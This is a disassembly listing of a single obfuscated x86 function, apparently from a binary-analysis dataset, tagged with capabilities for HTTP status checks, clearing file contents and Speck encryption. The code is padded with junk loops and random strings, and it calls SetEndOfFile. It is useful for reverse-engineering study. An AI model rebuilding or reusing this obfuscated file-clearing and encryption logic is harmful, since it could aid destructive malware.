Function at 0x100027b2
Capabilities:
Check http status code
Clear file content
Encrypt data using speck

Disassembly:
mov eax, 0x1005c8c3
call fcn.1005c388
sub esp, 0x5cc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x2a4], edx
mov dword [ebp - 0xa0], ecx
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 4], ebx
inc ecx
push 0xfffffffffffffff7
pop edi
mov dword [ebp - 0x268], edi
mov dword [ebp - 0x264], edi
mov dword [ebp - 0x260], edi
mov dword [ebp - 0x25c], edi
mov dword [ebp - 0x2c], 0x57f451d5
mov dword [ebp - 0x24], 0x4f3f7e81
mov dword [ebp - 0x6c], 6
mov dword [ebp - 0x44], 0xfffffff8
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x14], 0xa66fa4bc
mov dword [ebp - 0x1c], 0xfffb
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10002840
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x254], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10002833
mov dword [ebp - 0x14], ebx
jmp 0x10002857
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x198], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000284a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x254]
mov eax, dword [ebp - 0x14]
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
add eax, 4
je 0x10002879
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x198]
cmp eax, 0x249de49
mov eax, dword [ebp - 0x268]
mov edx, dword [ebp - 0x198]
setle cl
add eax, ecx
mov ecx, dword [ebp - 0x44]
imul edx, eax
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
inc edx
imul ecx, edx
xor edx, edx
dec dword [ebp - 0x24]
inc edx
cmp eax, ecx
mov ecx, edx
jle 0x100028bf
mov ecx, ebx
mov eax, dword [ebp - 0x34]
add eax, ecx
jne 0x100028d0
mov esi, ebx
cmp dword [ebp - 0x264], ebx
je 0x100028d2
mov esi, edx
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp esi, eax
sete cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x260]
sub eax, 0x43
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x198]
jl 0x100028fc
cmp dword [ebp - 0x1c], ebx
jne 0x100028fc
mov edx, ebx
mov eax, dword [ebp - 0x260]
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, 0x5ce4ec6
setle al
sub eax, 0xf55f5dd
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x34]
je 0x10002942
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 0xb
jl 0x1000294c
push ecx
mov cl, 1
call fcn.10001c3b
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xb
pop ecx
jge 0x1000292c
xor ebx, ebx
jmp 0x1000294c
mov dword [ebp - 0x44], 0x32c2674d
inc dword [ebp - 0x44]
mov dword [ebp - 0x1c4], ebx
mov dword [ebp - 0x1c0], ebx
mov dword [ebp - 0x1bc], ebx
xor ecx, ecx
push 0xfffffffffffffff6
inc ecx
mov byte [ebp - 4], cl
pop eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], 0x15898f01
mov dword [ebp - 0x1c], ebx
jmp 0x10002987
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x394], 0xf9986e3e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10002976
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
je 0x100029a1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
dec eax
neg eax
sbb eax, eax
xor dl, dl
neg eax
mov dword [ebp - 0x390], eax
lea eax, [ebp - 0x77]
push eax
push ecx
push ecx
mov ecx, 0x75db
mov byte [ebp - 0x77], bl
call fcn.10001add
add esp, 0xc
mov dword [ebp - 0xd4], 0x1e0a040c
xor ecx, ecx
mov dword [ebp - 0xd0], 0xa071704
inc ecx
mov dword [ebp - 0xcc], 0x2d082c06
mov byte [ebp - 0xc8], cl
push 0x6c
pop eax
mov byte [ebp - 0xba], cl
mov ecx, ebx
push 2
mov dword [ebp - 0xc7], 0x2020f
mov dword [ebp - 0xc3], 0x92b0320
mov dword [ebp - 0xbf], 0xb59051c
mov byte [ebp - 0xbb], 0x42
mov byte [ebp - 0xb9], 0x38
mov word [ebp - 0x398], ax
pop esi
mov dword [ebp - 0x18c], ecx
cmp esi, 0x1a
jne 0x10002a4a
push 2
pop ecx
mov dword [ebp - 0x18c], ecx
jmp 0x10002aa2
movzx edx, byte [ebp + esi - 0xd3]
mov eax, esi
sub eax, ecx
push ebx
movzx eax, byte [ebp + eax - 0xd6]
movzx eax, word [ebp + eax*2 - 0x3b0]
mov ecx, eax
and eax, edx
or ecx, edx
xor dl, dl
sub ecx, eax
movzx eax, byte [ebp + esi - 0xd4]
mov word [ebp + eax*2 - 0x3b0], cx
lea eax, [ebp - 0x18c]
push eax
push 0x4858
push 1
mov ecx, 0x1b0e
call fcn.10001caf
mov ecx, dword [ebp - 0x18c]
add esp, 0x10
add esi, 2
cmp esi, 0x1c
jb 0x10002a3a
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x396], ax
inc ecx
mov dword [ebp - 0x27c], edi
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x274], edi
mov dword [ebp - 0x270], edi
mov dword [ebp - 0x6c], 0x57f451d5
mov dword [ebp - 0x24], 0x4f3f7e81
mov dword [ebp - 0x54], 6
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x44], 0xa66fa4bc
mov dword [ebp - 0x1c], 0xfffb
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10002b17
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2bc], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10002b0a
mov dword [ebp - 0x14], ebx
jmp 0x10002b2e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x184], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10002b21
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x2bc]
mov eax, dword [ebp - 0x44]
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
add eax, 4
je 0x10002b50
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x184]
cmp eax, 0x249de49
mov eax, dword [ebp - 0x27c]
mov edx, dword [ebp - 0x184]
setle cl
add eax, ecx
mov ecx, dword [ebp - 0x2c]
imul edx, eax
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
inc edx
imul ecx, edx
xor edx, edx
dec dword [ebp - 0x24]
inc edx
cmp eax, ecx
mov ecx, edx
jle 0x10002b96
mov ecx, ebx
mov eax, dword [ebp - 0x34]
add eax, ecx
jne 0x10002ba7
mov esi, ebx
cmp dword [ebp - 0x278], ebx
je 0x10002ba9
mov esi, edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp esi, eax
sete cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x274]
sub eax, 0x43
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x184]
jl 0x10002bd3
mov esi, ebx
cmp dword [ebp - 0x1c], ebx
je 0x10002bd5
mov esi, edx
mov eax, dword [ebp - 0x274]
xor ecx, ecx
cmp eax, esi
setge cl
xor eax, eax
cmp ecx, 0x5ce4ec6
setle al
sub eax, 0xf55f5dd
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x34]
je 0x10002c27
mov dword [ebp - 0x34], ebx
jmp 0x10002c1f
lea eax, [ebp - 0x81]
mov byte [ebp - 0x81], bl
push eax
push 0x5c94
xor dl, dl
call fcn.10001a8d
inc dword [ebp - 0x34]
pop ecx
pop ecx
cmp dword [ebp - 0x34], 0xb
jge 0x10002c01
jmp 0x10002c56
push 0x6271
push ebx
push 0x3f28
push 0x3b98
push edx
push edx
mov edx, 0x4464
mov dword [ebp - 0x2ac], 0x32c2674d
lea ecx, [ebp - 0x2ac]
call fcn.10001e25
add esp, 0x18
mov dword [ebp - 0x3c], 0x3440
cmp dword [ebp - 0x3c], 0x373f
jle 0x10002c9d
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x54], ebx
lea eax, [esi + edi]
mov ecx, 0x10075fb8
or eax, ebx
cdq
push edx
push eax
call fcn.10004fa9
inc ebx
cmp ebx, 0x530f
jl 0x10002c6d
inc esi
push 0
pop ebx
cmp esi, 0x1e3e
jl 0x10002c6a
inc edi
cmp edi, 0x2db7
jl 0x10002c68
mov eax, 0x4a68
mov dword [ebp - 0x1ec], eax
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x14], 0x871c7bf0
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x1c], 0xe1f
cmp dword [ebp - 0x1c], 0xe7e
jle 0x10002d2d
mov edi, ebx
mov dword [ebp - 0x44], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x2c], 0x2657
cdq
idiv esi
mov edi, edx
mov dword [ebp - 0x54], ebx
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x10075fb8
cdq
push edx
push eax
call fcn.10004fa9
inc ebx
cmp ebx, 0xeb
jl 0x10002cf0
dec edi
dec dword [ebp - 0x2c]
push 0
pop ebx
jne 0x10002ced
mov edi, dword [ebp - 0x44]
inc esi
cmp esi, 0x7454
jl 0x10002cdf
inc edi
mov dword [ebp - 0x44], edi
cmp edi, 0xaaf
jl 0x10002cdd
mov dword [ebp - 0x14], ebx
jmp 0x10002d43
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x244], 0x5ff57440
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10002d32
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1c], 0xdf6
jge 0x10002d65
mov edx, str.umkbyj_nehsxubz_uko_mhetclbrp_rdozhxqfi_jlrsd
mov ecx, 0x10075fb8
call fcn.1000736a
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10002da2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3ec], 0xc7e90690
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10002d91
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jg 0x10002ed1
jmp 0x10002dba
xor ecx, ecx
inc ecx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x54], 0x5610a143
mov dword [ebp - 0x24], ebx
jmp 0x10002dfd
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x84]
push ebx
mov ecx, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x14]
push ecx
mov dword [ebp + eax*4 - 0x1ec], ecx
mov ecx, 0x6de3
mov byte [ebp - 0x84], bl
call fcn.1000252b
inc dword [ebp - 0x24]
pop ecx
pop ecx
cmp dword [ebp - 0x24], 3
jle 0x10002dcc
mov dword [ebp - 0x24], 3
cmp dword [ebp - 0x24], ebx
jl 0x10002e67
mov dword [ebp - 0x1c], 0xbfc4f27d
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], ebx
jl 0x10002e62
xor ebx, ebx
inc ebx
push ebx
push 0x57de
push 0x1944
mov dword [ebp - 0x248], 0x20452a26
mov dl, bl
push ebx
mov ecx, 0x4c4d
call fcn.10001caf
add esp, 0xc
lea edx, [ebp - 0x248]
xor cl, cl
call fcn.100023fd
dec dword [ebp - 0x1c]
pop ecx
jns 0x10002e28
xor ebx, ebx
dec dword [ebp - 0x24]
jns 0x10002e0f
mov dword [ebp - 0x24], ebx
jmp 0x10002ebe
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x1ec]
mov eax, dword [ebp - 0x1e0]
cmp eax, ecx
setl dl
cmp edx, dword [ebp - 0x24]
jle 0x10002eab
cmp dword [ebp - 0x1c], ebx
je 0x10002eab
xor ecx, ecx
inc ecx
jmp 0x10002ead
mov ecx, ebx
xor eax, eax
cmp ecx, 0x84868fda
setne al
mov dword [ebp - 0x54], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x10002e6c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x10002db7
cmp dword [ebp - 0x14], ebx
je 0x10002f55
mov dword [ebp - 0x14], 0xbd0d
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x14], eax
je 0x10002f45
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
neg ecx
cmp ecx, dword [ebp - 0x238]
jle 0x10002f1a
cmp dword [ebp - 0x14], ebx
je 0x10002f1a
xor eax, eax
inc eax
jmp 0x10002f1c
mov eax, ebx
cmp eax, dword [ebp - 0x244]
jle 0x10002f27
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x244]
mov eax, dword [ebp - 0x244]
mov eax, dword [ebp - 0x244]
cmp eax, dword [ebp - 0x238]
jge 0x10002f45
mov eax, ebx
jmp 0x10002f48
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x1e8]
jge 0x10002f55
xor eax, eax
inc eax
jmp 0x10002f57
mov eax, ebx
mov dword [ebp - 0x3e8], eax
mov byte [ebp - 4], 4
cmp dword [ebp - 0x3c], 0x33df
jge 0x10002f79
mov edx, str.qnqidjcdl_auxrjqv_pdlrxmgui_wvg
mov ecx, 0x10075fb8
call fcn.1000736a
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
push 0x63
pop eax
mov byte [ebp - 0xb6], cl
mov ecx, ebx
mov byte [ebp - 0xae], bl
xor ebx, ebx
push 2
mov word [ebp - 0xb8], 0x1805
inc ebx
mov dword [ebp - 0xb5], 0x442020c
mov word [ebp - 0xb1], 0x64c
mov byte [ebp - 0xaf], 9
mov dword [ebp - 0xad], 0x521b0306
mov dword [ebp - 0xa9], 0x70d0335
mov byte [ebp - 0xa5], 6
mov word [ebp - 0x312], ax
pop esi
mov dword [ebp - 0x1a0], ecx
cmp esi, 0xc
jne 0x1000301b
push 4
pop ecx
push 0xe
mov dword [ebp - 0x1a0], ecx
pop esi
jmp 0x1000307d
movzx edx, byte [ebp + esi - 0xb7]
mov eax, esi
sub eax, ecx
push 0x4982
push ebx
push 0xcba
movzx eax, byte [ebp + eax - 0xba]
movzx ecx, word [ebp + eax*2 - 0x31c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xb8]
add ecx, edx
mov edx, 0x65d
mov word [ebp + eax*2 - 0x31c], cx
lea eax, [ebp - 0x1a0]
push eax
push ebx
push ebx
mov ecx, 0x1b90
call fcn.10001e25
mov ecx, dword [ebp - 0x1a0]
add esp, 0x18
add esi, 2
cmp esi, 0x14
jb 0x10002fe1
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x30c], ax
inc ecx
mov dword [ebp - 0x3c], ecx
xor ebx, ebx
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x54], 0x58a8ce9b
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x54], 0x8b742d63
mov dword [ebp - 0x24], ebx
jmp 0x100030d2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x4c], 0xfffffff6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x100030c4
mov dword [ebp - 0x24], ebx
jmp 0x100030ed
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x288], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x100030dc
mov dword [ebp - 0x24], ebx
jmp 0x10003108
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x374], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x100030f7
mov dword [ebp - 0x24], ebx
jmp 0x10003124
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x29c], 4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10003113
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setl dl
add edx, 0x219252f2
mov dword [ebp - 0x1c], edx
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x288], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x54], ecx
xor ecx, ecx
cmp dword [ebp - 0x54], eax
setne cl
xor edx, edx
xor eax, eax
inc edx
cmp ecx, edx
setle al
xor ecx, ecx
cmp eax, 0x9a164e6
mov eax, dword [ebp - 0x4c]
setle cl
sub ecx, eax
mov dword [ebp - 0x374], ecx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
sub ecx, eax
cmp ecx, dword [ebp - 0x29c]
jne 0x100031ae
cmp dword [ebp - 0x4c], ebx
jne 0x100031b0
mov edx, ebx
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x4c]
cmp edx, eax
mov eax, dword [ebp - 0x298]
setge cl
xor edx, edx
add ecx, 0x2d74
cmp ecx, eax
setg dl
mov dword [ebp - 0x54], edx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x29c]
sub ecx, eax
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
sete dl
xor ecx, ecx
cmp eax, edx
setle cl
cmp ecx, dword [ebp - 0x4c]
jle 0x10003216
cmp dword [ebp - 0x29c], ebx
jne 0x10003216
cmp dword [ebp - 0x6c], ebx
jne 0x10003216
mov eax, ebx
jmp 0x10003219
xor eax, eax
inc eax
xor ecx, ecx
cmp eax, 9
mov eax, dword [ebp - 0x29c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x334], 7
setge dl
mov dword [ebp - 0x338], ebx
add eax, edx
mov dword [ebp - 0x54], eax
xor eax, eax
mov word [ebp - 0x348], ax
lea eax, [ebp - 0x31c]
push eax
call fcn.10005655
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x38c]
xor eax, eax
mov dword [ebp - 0x378], 7
mov word [ebp - 0x38c], ax
lea eax, [ebp - 0x3b0]
push eax
mov dword [ebp - 0x37c], ebx
call fcn.10005655
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebp - 0x478]
call fcn.100076df
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x460]
call fcn.100076df
push ebx
push 1
lea ecx, [ebp - 0x38c]
call fcn.100056dd
push ebx
push 1
lea ecx, [ebp - 0x348]
call fcn.100056dd
mov byte [ebp - 4], 7
lea eax, [ebp - 0x448]
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], ebx
push eax
lea eax, [ebp - 0x478]
mov dword [ebp - 0x1d8], ebx
push eax
push ebx
mov dword [ebp - 0x1d4], ebx
call fcn.10007a91
push fcn.10004dfe
push 1
push 0x30
lea eax, [ebp - 0x478]
mov byte [ebp - 4], 9
push eax
call fcn.1004414b
xor eax, eax
lea edi, [ebp - 0x3b0]
push 7
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x31c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0xb4ffb871
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x320], eax
lea edx, [ebp - 0x2a8]
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x2a8], 0x443250e6
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x250], 0xf29c8dda
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x250]
push ebx
push eax
call fcn.1000223f
mov dword [ebp - 0x44], 0x69c6
cmp dword [ebp - 0x44], 0x6a30
pop ecx
pop ecx
jle 0x100033f7
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov ecx, edi
mov dword [ebp - 0x54], eax
mov edi, eax
mov esi, ebx
shl edi, cl
mov dword [ebp - 0x54], ebx
mov eax, edi
mov ecx, 0x10075fb8
and eax, ebx
and eax, esi
cdq
push edx
push eax
call fcn.10004fa9
inc ebx
cmp ebx, 0x6c80
jl 0x100033b2
inc esi
push 0
pop ebx
cmp esi, 0x6122
jl 0x100033af
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x5e23
jl 0x100033a4
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x25bd
jl 0x1000339f
push ebx
push ecx
push ecx
lea edx, [ebp + 8]
lea ecx, [ebp - 0x1dc]
call fcn.1000255a
add esp, 0xc
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x44], 0x6925
jge 0x10003445
mov edx, str.rly_odrcef_khf_kyzm_nvyytsr_bpsnn_xrksfyz_flhqeshab_sidzlbdq_hubjt_wxdbqynl_hdiktla_qqfzcwlhi
mov ecx, 0x10075fb8
call fcn.1000736a
jmp 0x10003445
push ebx
push 0x19e0
push 0xd92
mov dword [ebp - 4], 9
call fcn.10035f8f
pop ecx
pop ecx
call eax
mov dword [ebp - 0x44], 0x22e6
cmp dword [ebp - 0x44], 0x2418
jle 0x100034b5
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov ebx, esi
mov esi, 0x5749
mov eax, edi
mov ecx, 0x10075fb8
xor eax, ebx
cdq
push edx
push eax
call fcn.10004fa9
dec ebx
dec esi
jne 0x1000347e
mov esi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x128b
jl 0x10003477
inc edi
push 0
pop ebx
cmp edi, 0x514c
jl 0x10003472
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x44], 0x22a5
jge 0x100034ef
mov edx, str.ipw_hiasnj_vubb_hhj_lshzkrt_jcbwdc_zxyncmv_xfxdwqh_myv_ktj_yxhpsww_dkxb_pjfoqzrp_arw
mov ecx, 0x10075fb8
call fcn.1000736a
jmp 0x100034ef
mov dword [ebp - 4], 9
mov dword [ebp - 0x14], 0x7e2799ac
mov dword [ebp - 0x44], 0x7d39
cmp dword [ebp - 0x44], 0x7d9b
jle 0x1000356e
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
cdq
mov esi, ebx
idiv edi
mov eax, edx
mov dword [ebp - 0x6c], eax
mov edi, eax
mov dword [ebp - 0x54], ebx
xor edi, esi
mov eax, edi
mov ecx, 0x10075fb8
or eax, ebx
cdq
push edx
push eax
call fcn.10004fa9
inc ebx
cmp ebx, 0x204a
jl 0x10003528
mov eax, dword [ebp - 0x6c]
inc esi
push 0
pop ebx
cmp esi, 0x6a69
jl 0x10003521
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0xc03
jl 0x10003517
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x6bbe
jl 0x10003512
mov dword [ebp - 0x54], 0x211e9a9
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x44], 0x7b16
jge 0x100035af
mov edx, str.oeww_cejrpm_dylevwyd_rshjuqdt_jmnqrrqo_wjtjzk
mov ecx, 0x10075fb8
call fcn.1000736a
jmp 0x100035af
mov dword [ebp - 4], 9
mov dword [ebp - 0x44], 0x7235
cmp dword [ebp - 0x44], 0x7565
jle 0x10003643
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
lea ecx, [ebp - 0x4f0]
or eax, edi
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100035fa
mov eax, dword [eax]
push eax
call fcn.100443ac
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4f0]
call fcn.10005611
inc edi
cmp edi, 0x7b44
jl 0x100035de
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x6dc5
jl 0x100035d7
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x62fb
jl 0x100035d2
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
cmp dword [ebp - 0x44], 0x7188
jge 0x10003657
push str.qbx_csotww_jmk
call fcn.100443ac
pop ecx
mov dword [ebp - 4], 9
mov dword [ebp - 0x1c], ebx
jmp 0x10003674
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3f8], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10003663
xor eax, eax
mov byte [ebp - 0x75], bl
inc eax
lea ecx, [ebp - 0x75]
push eax
push 0x1107
push ecx
push ebx
mov dl, al
mov ecx, 0x72c8
call fcn.10001caf
add esp, 0x10
mov dword [ebp - 0x14], 0x16
jmp 0x100037e9
mov dword [ebp - 0x34], 0xe8b72fd4
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], 0x9265
mov dword [ebp - 0x34], ebx
jmp 0x100037d6
mov dword [ebp - 0x24], 0x467b
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x1c], ebx
jmp 0x100036e3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x210], 0x19570a50
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100036d2
mov eax, dword [ebp - 0x20c]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20c]
cmp eax, 0xfffffff7
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp ecx, 0x6efe0cd1
setg dl
sub eax, edx
jne 0x1000371f
cmp dword [ebp - 0x24], ebx
je 0x1000371f
xor ecx, ecx
inc ecx
jmp 0x10003721
mov ecx, ebx
mov eax, dword [ebp - 0x34]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xf8b8
setne cl
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20c]
sub edx, eax
mov eax, dword [ebp - 0x24]
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x3ae5
setne al
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x1c], ebx
jmp 0x100037cb
mov dword [ebp - 0x3c], ebx
jmp 0x100037b2
mov dword [ebp - 0x24], ebx
jmp 0x100037a5
lea ecx, [ebp - 0x83]
mov byte [ebp - 0x83], bl
push ebx
push ecx
mov dl, al
mov cl, al
call fcn.10001fd7
mov eax, dword [ebp - 0x24]
pop ecx
pop ecx
cmp dword [ebp + eax*4 - 0x210], ebx
jne 0x100037ac
inc dword [ebp - 0x24]
xor eax, eax
inc eax
cmp dword [ebp - 0x24], eax
